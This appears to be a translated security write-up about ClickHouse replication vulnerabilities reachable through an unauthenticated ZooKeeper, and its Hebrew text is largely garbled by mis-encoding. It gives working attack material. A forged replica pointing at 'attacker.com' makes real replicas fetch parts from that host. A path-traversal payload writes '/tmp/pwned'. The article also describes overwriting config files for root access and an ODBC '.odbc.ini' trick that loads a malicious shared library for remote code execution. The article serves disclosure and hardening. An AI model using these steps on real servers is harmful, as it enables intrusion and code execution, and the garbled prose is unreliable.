ืืืืจ ืื ืืกืคืจ ืืช ืกืืคืืจื ืฉื ืคืืืขืืช ืืืื ืกืคืฆืืคืืช ืืคืจืืืืงืื ืืฉืืคืื ืฉื ClickHouse, ืืื ืืจืื ืืืฆื ื ืืชื ืืืจืืื ืืช ืืฉืื ืืืชืงืคื.
ClickHouse ืืื ืืกื ื ืชืื ืื ืืืืกืื ืืืืืืช ืืืืืืช ืฉื ื ืชืื ืื, ืืจืื ืชืื ืฉืืืืฉ ืืืืชืจ ืืขืชืง ืืื. ืืฉืืืืืช ืืฉืืคืื ื-ClickHouse ืื ืืืื ืืืขืื
ืืชืงื ืช ืืจืืจืช ืืืืื ืฉื ZK ืืื ื ืืืจืฉืช ืืืืืช, ืื ืฉืืืคื ืฉืจืชื ZK ืืืฉืืฉืื ืืืืืจืช ืงืคืงื, Hadoop, ClickHouse ืืืื ืื ืืฆืืืืจ.
ืืื ืืฆืืฆื ืืช ืืฉืื ืืืชืงืคื ืฉืื, ืขืืื ืชืืื ืืืืืืจ ืืืืืช ืืืจืฉืื ืืขืช ืืชืงื ืช ZooKeeper
ืืฉ ืืืืื ืืื ืื-ืกืจืืืืืืฆืืืช ืฉื Java ืืืืกืกืืช 0-ืืื, ืืื ืชืืจื ืืขืฆืืื ืฉืชืืงืฃ ืืืื ืืงืจืื ืืืืชืื ื-ZooKeeper, ืืืฉืืฉ ืืฉืืคืื ืฉื ClickHouse.
ืืืฉืจ ืืืืืจ ืืืฆื ืืฉืืื, ClickHouse ืชืืื ืืฉืืืืชืืช ืืืืืจืืช /clickhouse/task_queue/ddl
.
ืืืืืื, ืืชื ืืืฆืจ ืฆืืืช /clickhouse/task_queue/ddl/query-0001
ืขื ืชืืื:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
ืืืืืจ ืืื, ืืืืช ืืืืืงื ืชืืืืง ืืฉืจืชื ืืืฉืืืืืช host1 ื-host2. DDL ืชืืื ืื ืืืคืขืืช ืฉืืืืชืืช CREATE/ALTER/DROP.
ื ืฉืืข ืืคืืื? ืืื ืืืื ืืืื ืชืืงืฃ ืืืฉืื ืืชืืืืช ืฉืจืช?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
ืืืืืฆืจื ืฆืืชืื ืขืืืืืช ะธ ืืื.
ืชืึนืึถื /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
ืืื ื ืืชื ืืืื ื ืชืื ืื ืืืฉืืื ืื? ืื, ืื ืืฆืืืช ืืฉืืคืื (TCP/9009
) ืืฉืจืช chXX-address
ืืืืช ืืืฉ ืื ืชืืกืืจ ืืื ืืืืืจ ืืืืืช ืืฉืืคืื. ืืื ืืขืงืืฃ ืืช ืืืืืืช?
ืชืืงืฃ ืืืื ืืืฆืืจ ืขืืชืง ืืืฉ ื-ZK ืคืฉืื ืขื ืืื ืืขืชืงืช ืืชืืื ืืื ื /clickhouse/tables/01-01/foobar/replicas/chXX
ืืฉืื ืื ืืืฉืืขืืช host
.
ืชืึนืึถื /clickhouse/tables/01โ01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
ืื ืืชื ืฆืจืื ืืืืื ืืขืชืงืื ืืืืจืื ืฉืืฉ ืืืืง ื ืชืื ืื ืืืฉ ืืฉืจืช ืฉื ืืชืืงืฃ ืฉืื ืฆืจืืืื ืืงืืช - ืฆืืืช ื ืืฆืจ ื-ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX
(ืืื ื XX ืฉืืื ืืืืคื ืืื ืืืื ื, ืฉืืืืจ ืืืืืช ืืืื ืืืืืจืื ืืืืื ืืืืจืืขืื):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
ืืืคื ืืงืืจ_ืขืืชืง - ืฉื ืืขืชืง ืฉื ืืชืืงืฃ ืฉื ืืฆืจ ืืฉืื ืืงืืื, block_id - ืืืื ืืืืง ื ืชืื ืื, ืืงืื - ืคืงืืืช "ืงืื ืืกืืื" (ื
ืืืืจ ืืื, ืื ืืขืชืง ืงืืจื ืืืจืืข ืืืฉ ืืืืื ืืขืืืจ ืืฉืจืช ืื ืฉืื ืขื ืืื ืืชืืงืฃ ืืื ืืงืื ืืืืง ื ืชืื ืื (ืคืจืืืืงืื ืืฉืืคืื ืืื ืืื ืืจื, ืคืืขื ืขื ืืื HTTP). ืฉืจืช attacker.com
ืืงืื ืืงืฉืืช:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
ืืืฉืจ XXX ืืื ื ืชืื ื ืืืืืืช ืืฉืืคืื. ืืืงืจืื ืืกืืืืื, ืื ืขืฉืื ืืืืืช ืืฉืืื ืขื ืืืฉื ืืืกื ืื ืชืื ืื ืืืืฆืขืืช ืคืจืืืืงืื ClickHouse ืืจืืฉื ืืคืจืืืืงืื HTTP. ืืคื ืฉืจืืืช, ืืฉืื ืืืชืงืคื ืืืคื ืืืืื ืืืืคื ืงืจืืื ืืืืืื ืฉ-ZooKeeper, ืืืฉืืฉ ืืฉืืคืื, ื ืืชืจ ืืื ืชืฆืืจืช ืืืืืช.
ืืืื ื ืกืชืื ืขื ืืคืื ืงืฆืื ืฉื ืงืืืช ืืืืง ื ืชืื ืื ืืขืชืง, ืืชืื ืืืืืืื ืืื ืฉืื ืืืขืชืงืื ื ืืฆืืื ืืฉืืืื ื ืืืชื ืืืฉ ืืื ืืื ืืืื.
ืงืื ืขืืืื ืฉืืคืื
ืืคืื ืงืฆืื ืงืืจืืช ืจืฉืืื ืฉื ืงืืฆืื, ืืืืจ ืืื ืืช ืฉืืืชืืื, ืืืืืื, ืืชืืื ืฉืืื, ืืื ืืืชืืช ืืืชื ืืืขืจืืช ืืงืืฆืื. ืืืื ืืชืืจ ืื ืคืจื ืืืฆื ื ืชืื ืื ืืืืืกื ืื ืืืขืจืืช ืืงืืฆืื.
ืืฉ ืืกืคืจ ืชืืงืืืช ืืฉื ื ื /var/lib/clickhouse
(ืกืคืจืืืช ืืืกืื ืืจืืจืช ืืืื ืืงืืืฅ ืืชืฆืืจื):
ืืืืื - ืกืคืจืืื ืืืงืืื
tmp - ืกืคืจืืื ืืืืกืื ืงืืฆืื ืืื ืืื;
user_files - ืคืขืืืืช ืขื ืงืืฆืื ืืืงืฉืืช ืืืืืืืช ืืกืคืจืืื ืื (INTO OUTFILE ืืืืจืืช);
ืืื - ืงืืฆื sql ืขื ืชืืืืจื ืืืื;
preprocessed_configs - ืงืืฆื ืชืฆืืจื ื ืืืจืืช ืืขืืืืื ื /etc/clickhouse-server
;
ื ืชืื ืื - ืืกืคืจืืื ืืคืืขื ืขื ืื ืชืื ืื ืขืฆืื, ืืืงืจื ืื ืขืืืจ ืื ืืกื ื ืชืื ืื ืคืฉืื ื ืืฆืจืช ืืื ืกืคืจืืืช ืืฉื ื ื ืคืจืืช (ืืืืืื /var/lib/clickhouse/data/default
).
ืขืืืจ ืื ืืืื ื ืืฆืจืช ืกืคืจืืืช ืืฉื ื ืืกืคืจืืืช ืืกื ืื ืชืื ืื. ืื ืขืืืื ืืื ืงืืืฅ ื ืคืจื ืืืชืื
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
ืืขืชืง ืืฆืคื ืืงืื ืงืืฆืื ืขื ืืืชื ืฉืืืช ืืขืช ืขืืืื ืืืืง ื ืชืื ืื ืืืื ื ืืืืช ืืืชื ืืฉืื ืืืคื.
ืืงืืจื ืืงืฉืื ืื ืจืื ืืืจ ืฉืืข ืขื ืฉืจืฉืืจ ืื ืืืื ืฉื file_name ืืคืื ืงืฆืื WriteBufferFromFile
. ืื, ืื ืืืคืฉืจ ืืชืืงืฃ ืืืชืื ืชืืื ืฉืจืืจืืชื ืืื ืงืืืฅ ื-FS ืขื ืืืืืืช ืืฉืชืืฉ clickhouse
. ืืฉื ืื, ืืขืชืง ืื ืฉืื ืขื ืืื ืืชืืงืฃ ืืืื ืืืืืืจ ืืช ืืชืืืื ืืืื ืืืงืฉื (ื ืืกืคื ืืขืืจื ืฉืืจืืช ืืื ืืืงื ืขื ืืืื ื):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
ืืืืจื ืฉืจืฉืืจ ../../../../../../../../../tmp/pwned
ืืงืืืฅ ืืืืชื /tmp/pwned ืขื ืชืืื hellofromzookeeper.
ืืฉื ื ืืกืคืจ ืืคืฉืจืืืืช ืืืคืืืช ืืืืืช ืืชืืืช ืงืืฆืื ืืืืฆืืข ืงืื ืืจืืืง (RCE).
ืืืืื ืื ืืืฆืื ืืื ื-RCE
ืืืจืกืืืช ืืฉื ืืช ืืืชืจ, ืืกืคืจืืื ืขื ืืืืจืืช ClickHouse ื ืฉืืจื ืขื ืืืืืืช ืืฉืชืืฉ ืืืช ืงืืืง ืึผึฐืจึดืืจึทืช ืึถืืึธื. ืงืืฆื ืืืืจืืช ืื ืงืืืฆื XML ืฉืืฉืืจืืช ืงืืจื ืืขืช ืืืชืืื ืืืืืจ ืืื ืืืืกื ืืืืืื /var/lib/clickhouse/preprocessed_configs
. ืืืฉืจ ืืชืจืืฉืื ืฉืื ืืืื, ืื ื ืงืจืืื ืืืืฉ. ืื ืืฉ ืื ืืืฉื ื /etc/clickhouse-server
ืชืืงืฃ ืืืื ืืืฆืืจ ืืฉืื root
.
ODBC ื-RCE
ืืขืช ืืชืงื ืช ืืืืื, ื ืืฆืจ ืืฉืชืืฉ clickhouse
, ืืื ืกืคืจืืืช ืืืืช ืฉืื ืื ื ืืฆืจื /nonexistent
. ืขื ืืืช, ืืขืช ืฉืืืืฉ ืืืืืื ืื ืืืฆืื ืืื, ืื ืืกืืืืช ืืืจืืช, ืื ืืื ืืขืจืืช ืืืฆืจืื ืกืคืจืืื /nonexistent
ืืืชืช ืืืฉืชืืฉ clickhouse
ืืืฉื ืืืชืื ืืืื (SSZB! ืืฉืืขืจ. ืึฐืชืึผืจืึฐืึธื).
ClickHouse ืชืืื odbc-bridge
, ืื ืฉืื ื ืืชื ืขืื ืืฆืืื ืืช ื ืชืื ืื ืื ืืืืงืฉื. ืืื ืืื ืชืืงืฃ ืืืื ืืืชืื ืืกืคืจืืืช ืืืืช ืืืืฆืขืืช ืืคืืืขืืช ืฉืชืืืจื ืืขืื?
ืืืื ื ืืฆืืจ ืงืืืฅ ~/.odbc.ini
ืขื ืชืืื ืืื:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
ืืื ืืืคืขืื SELECT * FROM odbc('DSN=lalala', 'test', 'test');
ืืกืคืจืืื ืชืืืขื test.so
ืืงืืื RCE (ืชืืื
ืคืืืขืืืืช ืืื ืืืืจืืช ืชืืงื ื ืืืจืกื 19.14.3 ืฉื ClickHouse. ืืื ื-ClickHouse ื-ZooKeepers ืฉืื!
ืืงืืจ: www.habr.com